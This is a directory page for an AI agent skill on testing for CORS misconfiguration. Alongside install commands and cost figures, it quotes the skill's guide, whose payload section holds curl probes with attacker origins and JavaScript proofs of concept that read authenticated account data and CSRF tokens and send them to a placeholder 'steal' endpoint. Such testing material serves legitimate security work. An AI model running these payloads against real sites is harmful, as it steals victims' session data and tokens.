Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SecurityTalent/bugskill-ai --skill cors-misconfiggit clone --depth 1 https://github.com/SecurityTalent/bugskill-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/cors-misconfig)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/cors-misconfig"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/cors-misconfig/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/cors-misconfig"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/cors-misconfig.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00108 | $0.01745 |
| Opus 5.5 | $0.00043 | $0.00698 |
| Sonnet 5.5 | $0.00022 | $0.00349 |
| Haiku 4.5 | $0.00011 | $0.00175 |
Grade A, and why
cors-misconfig scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -H "Origin: https://attacker.com" \ This is a copy
100% identical to cors-misconfig — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 124 lines — stays where its author put it; the contents beside it link to each section on GitHub.
CORS Misconfiguration
What Is Broken and Why
Cross-Origin Resource Sharing (CORS) extends the same-origin policy to allow controlled cross-origin requests. Misconfigurations arise when servers reflect arbitrary Origin values in Access-Control-Allow-Origin without validation, allow null origins (exploitable via sandboxed iframes), or combine Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true (which browsers reject per spec but server-side logic may still honor insecurely). An attacker exploiting a CORS misconfiguration can read authenticated API responses from a victim's browser, leaking session data, PII, CSRF tokens, and other sensitive information.
Key Signals
Access-Control-Allow-Originmirrors theOriginrequest header verbatimAccess-Control-Allow-Origin: *on endpoints returning sensitive data (even without credentials, if the data is public-sensitive)Access-Control-Allow-Credentials: truecombined with origin reflectionAccess-Control-Allow-Origin: null— exploitable via sandboxed iframe- Wildcard subdomain trust: any
*.example.comorigin accepted, including attacker-controlled subdomains - Missing
Vary: Originheader indicating improper caching of CORS responses
Methodology
- Identify API endpoints and sensitive data responses.
- Add
Origin: https://attacker-controlled.comto requests; check if it is reflected inAccess-Control-Allow-Origin. - Add
Origin: null; check ifAccess-Control-Allow-Origin: nullis returned. - Check
Access-Control-Allow-Credentials: true— if combined with origin reflection, full exploitation is possible. - Test subdomain variations:
Origin: https://evil.TARGET-DOMAINto check for overly broad subdomain trust. - Test with OWASP ZAP's passive and active scanner for automated CORS header analysis.
- Build a PoC with
fetch()andcredentials: includefrom an attacker page to confirm read access.
Payloads & Tools
# Manual header injection test
curl -s -H "Origin: https://attacker.com" \
-H "Cookie: session=TOKEN" \
-v TARGET/api/user-data 2>&1 | grep -i "access-control"
# Check for null origin acceptance
curl -s -H "Origin: null" TARGET/api/sensitive-data -v 2>&1 | grep -i "access-control"
# Check for subdomain trust
curl -s -H "Origin: https://evil.target-domain.com" TARGET/api/data -v 2>&1 | grep access-control
# JavaScript PoC — origin reflection with credentials
<script>
fetch('https://TARGET/api/account', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
fetch('https://VICTIM/steal?d=' + encodeURIComponent(data));
});
</script>
# JavaScript PoC — null origin via sandboxed iframe
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
fetch('https://TARGET/api/account', {credentials: 'include'})
.then(r => r.text())
.then(d => top.location = 'https://VICTIM/steal?d=' + encodeURIComponent(d));
</script>"></iframe>
# CORS misconfiguration leading to CSRF token read
<script>
fetch('https://TARGET/account/settings', {credentials: 'include'})
.then(r => r.text())
.then(html => {
var csrfToken = html.match(/csrf[_-]?token.*?value="([^"]+)"/i)[1];
// Now use csrfToken to submit CSRF-protected forms
fetch('https://VICTIM/steal?t=' + csrfToken);
});
</script>
# ZAP — Active scan for CORS
# Analyze -> Active Scan -> run against target; check Alerts for CORS issues
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 20d ago First seen · 124 lines · 108 tokens per session scan A b89646e550b5
cors-misconfig is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 108 tokens to every session and 1,745 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to cors-misconfig, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
playwright-best-practices
Use when writing Playwright tests, fixing flaky tests, debugging failures, implementing Page Object Model, configuring CI/CD, optimizing performance, mocking APIs, handling authentication or OAuth, testing accessibility (axe-core), file uploads/downloads, date/time mocking, WebSockets, geolocation, permissions…
fullpage-screenshot
Capture full-page screenshots of a website at several viewport widths at once, including pages behind basic auth or needing setup clicks. Use when asked to screenshot a site, grab full-page captures, check a page across breakpoints, produce responsive review artefacts, or compare how a layout renders at mobile, tablet…
legado-book-source-generator
A skill for analysing websites and generating book-source rules for Legado, an app that reads online novels and other books. It is triggered by requests involving book sources, Legado rules, or novel-site analysis.
serpbase-skill
Agent-portable SerpBase skill for Codex, Claude Code, OpenClaw, opencode, and other AI coding/research agents. Use when an agent needs current Google Search, Images, News, Videos, Google Maps local search, or Google Maps place detail results through serpbase.dev; when configuring search grounding through SerpBase; or…
reddit-skills
Reddit automation skill collection. Supports authentication, content publishing, search & discovery, social interactions, and compound operations. Triggered when a user asks to operate Reddit (post, search, comment, login, analyze, upvote, save).
hasdata
Use HasData to scrape any public web page, run real-time Google/Bing/Google-AI-Mode search queries, pull structured data from e-commerce, real-estate, lodging, jobs, maps, travel, video, and social platforms, or run async bulk-scraping and crawling jobs without managing proxies, browsers, or captchas. Reach for this…